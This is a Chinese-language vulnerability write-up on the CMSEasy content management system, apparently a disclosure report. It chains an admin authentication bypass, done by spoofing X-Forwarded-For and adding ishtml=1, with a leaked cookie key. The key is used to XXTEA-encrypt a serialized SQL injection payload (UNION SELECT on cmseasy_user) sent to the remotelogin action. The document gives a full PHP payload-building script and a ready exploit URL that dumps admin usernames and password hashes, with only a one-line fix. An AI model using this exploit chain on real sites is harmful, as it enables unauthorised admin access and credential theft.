cmseasy后台可以未授权访问,在/lib/admin/admin.php中:
if (!defined('ROOT')) exit('Can\'t Access !');
abstract class admin extends act {
function __construct() {
if (ADMIN_DIR!=config::get('admin_dir')) {
config::modify(array('admin_dir'=>ADMIN_DIR));
front::flash('后台目录更改成功!');
}
front::$rewrite=false;
parent::__construct();
$servip = gethostbyname($_SERVER['SERVER_NAME']);
//if($this instanceof file_admin && in_array(front::get('act'), array('updialog','upfile','upfilesave','netfile','netfilesave','swfsave'))) return;
if($servip==front::ip()&&front::get('ishtml')==1) return;
$this->check_admin();
}
这个抽象类是所有后台类继承得到的,当用户IP(可以通过x-forwarded-for伪造)和服务器IP相同且ishtml=1的话,就能不执行check_admin,造成未授权访问。
可以通过一些插件修改:
如上图,修改IP以后在后台url后加上ishtml=1,即可访问后台页面。可看到cookie安全码:
拿到了这个安全码,就能干一些坏事。
比如注入。看到/lib/admin/admin_act.php,58行:
function remotelogin_action() {
cookie::del('passinfo');
$this->view->loginfalse=cookie::get('loginfalse'.md5($_SERVER['REQUEST_URI']));
if (front::$args) {
$user=new user();
$args = xxtea_decrypt(base64_decode(front::$args), config::get('cookie_password'));
$user=$user->getrow(unserialize($args));
if (is_array($user)) {
if ($user['groupid'] == '888')
front::$isadmin=true;
cookie::set('login_username',$user['username']);
cookie::set('login_password',front::cookie_encode($user['password']));
session::set('username',$user['username']);
require_once ROOT.'/celive/include/config.inc.php';
require_once ROOT.'/celive/include/celive.class.php';
$login=new celive();
$login->auth();
$GLOBALS['auth']->remotelogin($user['username'],$user['password']);
$GLOBALS['auth']->check_login1();
front::$user=$user;
}elseif (!is_array(front::$user) ||!isset(front::$isadmin)) {
cookie::set('loginfalse'.md5($_SERVER['REQUEST_URI']),(int) cookie::get('loginfalse'.md5($_SERVER['REQUEST_URI'])) +1,time() +3600);
event::log('loginfalse','失败 user='.$user['username']);
front::flash('密码错误或不存在该管理员!');
front::refresh(url('admin/login',true));
}
}
$this->render();
}
远程登录的函数,先获得$args,并base64解码,解码以后再xxtea解密(密钥就是刚才得到的字符串),解密以后再反序列化得到一个对象,直接放进数据库中查询。
也就是说,我有了密钥,就能构造一个注入语句进行注入,而且因为最后的数据是base64编码过的,所以根本不怕任何waf,比如360webscan。
脚本如下。把xxtea的加密函数拷贝出来,将注入语句构造好,输出来:
<?php
$key = '719ef7a50950de7935ec4a9ebc201bba';
$table = array(
'userid`=-1 union select 1,concat(username,0x23,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from cmseasy_user limit 0,1#'=>1
);
echo base64_encode(xxtea_encrypt(serialize($table), $key));
function xxtea_encrypt($str, $key) {
if ($str == "") {
return "";
}
$v = str2long($str, true);
$k = str2long($key, false);
if (count($k) < 4) {
for ($i = count($k); $i < 4; $i++) {
$k[$i] = 0;
}
}
$n = count($v) - 1;
$z = $v[$n];
$y = $v[0];
$delta = 0x9E3779B9;
$q = floor(6 + 52 / ($n + 1));
$sum = 0;
while (0 < $q--) {
$sum = int32($sum + $delta);
$e = $sum >> 2 & 3;
for ($p = 0; $p < $n; $p++) {
$y = $v[$p + 1];
$mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
$z = $v[$p] = int32($v[$p] + $mx);
}
$y = $v[0];
$mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
$z = $v[$n] = int32($v[$n] + $mx);
}
return long2str($v, false);
}
function xxtea_decrypt($str, $key) {
if ($str == "") {
return "";
}
$v = str2long($str, false);
$k = str2long($key, false);
if (count($k) < 4) {
for ($i = count($k); $i < 4; $i++) {
$k[$i] = 0;
}
}
$n = count($v) - 1;
$z = $v[$n];
$y = $v[0];
$delta = 0x9E3779B9;
$q = floor(6 + 52 / ($n + 1));
$sum = int32($q * $delta);
while ($sum != 0) {
$e = $sum >> 2 & 3;
for ($p = $n; $p > 0; $p--) {
$z = $v[$p - 1];
$mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
$y = $v[$p] = int32($v[$p] - $mx);
}
$z = $v[$n];
$mx = int32((($z >> 5 & 0x07ffffff) ^ $y << 2) + (($y >> 3 & 0x1fffffff) ^ $z << 4)) ^ int32(($sum ^ $y) + ($k[$p & 3 ^ $e] ^ $z));
$y = $v[0] = int32($v[0] - $mx);
$sum = int32($sum - $delta);
}
return long2str($v, true);
}
function long2str($v, $w) {
$len = count($v);
$n = ($len - 1) << 2;
if ($w) {
$m = $v[$len - 1];
if (($m < $n - 3) || ($m > $n)) return false;
$n = $m;
}
$s = array();
for ($i = 0; $i < $len; $i++) {
$s[$i] = pack("V", $v[$i]);
}
if ($w) {
return substr(join('', $s), 0, $n);
}
else {
return join('', $s);
}
}
function str2long($s, $w) {
$v = unpack("V*", $s. str_repeat("\0", (4 - strlen($s) % 4) & 3));
$v = array_values($v);
if ($w) {
$v[count($v)] = strlen($s);
}
return $v;
}
function int32($n) {
while ($n >= 2147483648) $n -= 4294967296;
while ($n <= -2147483649) $n += 4294967296;
return (int)$n;
}
获得加密后的字符串如下:
http://localhost/easy/index.php?case=admin&act=remotelogin&admin_dir=admin&site=default&args=QMXXAzZMw2utUoKklvRtfvs5iHUKa6JW%2bzJVLgrICaWC%2bl2em2Wu8mZPxZzlWFhUgyHnYP3hQauMpIOTpVu2hfjUto88GN%2fbHbm8H1cpvLM3SHXYHPPO4Ws1646TUSebzZsQ9kd8FseLKar%2bIrkmc5sCDAI4Bjo6%2fXzD11e1p%2b4704JukSWsNQ4wwNbuuEyMDK%2fQtHZm%2fNv1jczk
访问,就可以将cookie设置成注入获得的数据:
修复方案:
加密过的内容也不能随便相信,如果key泄露了呢?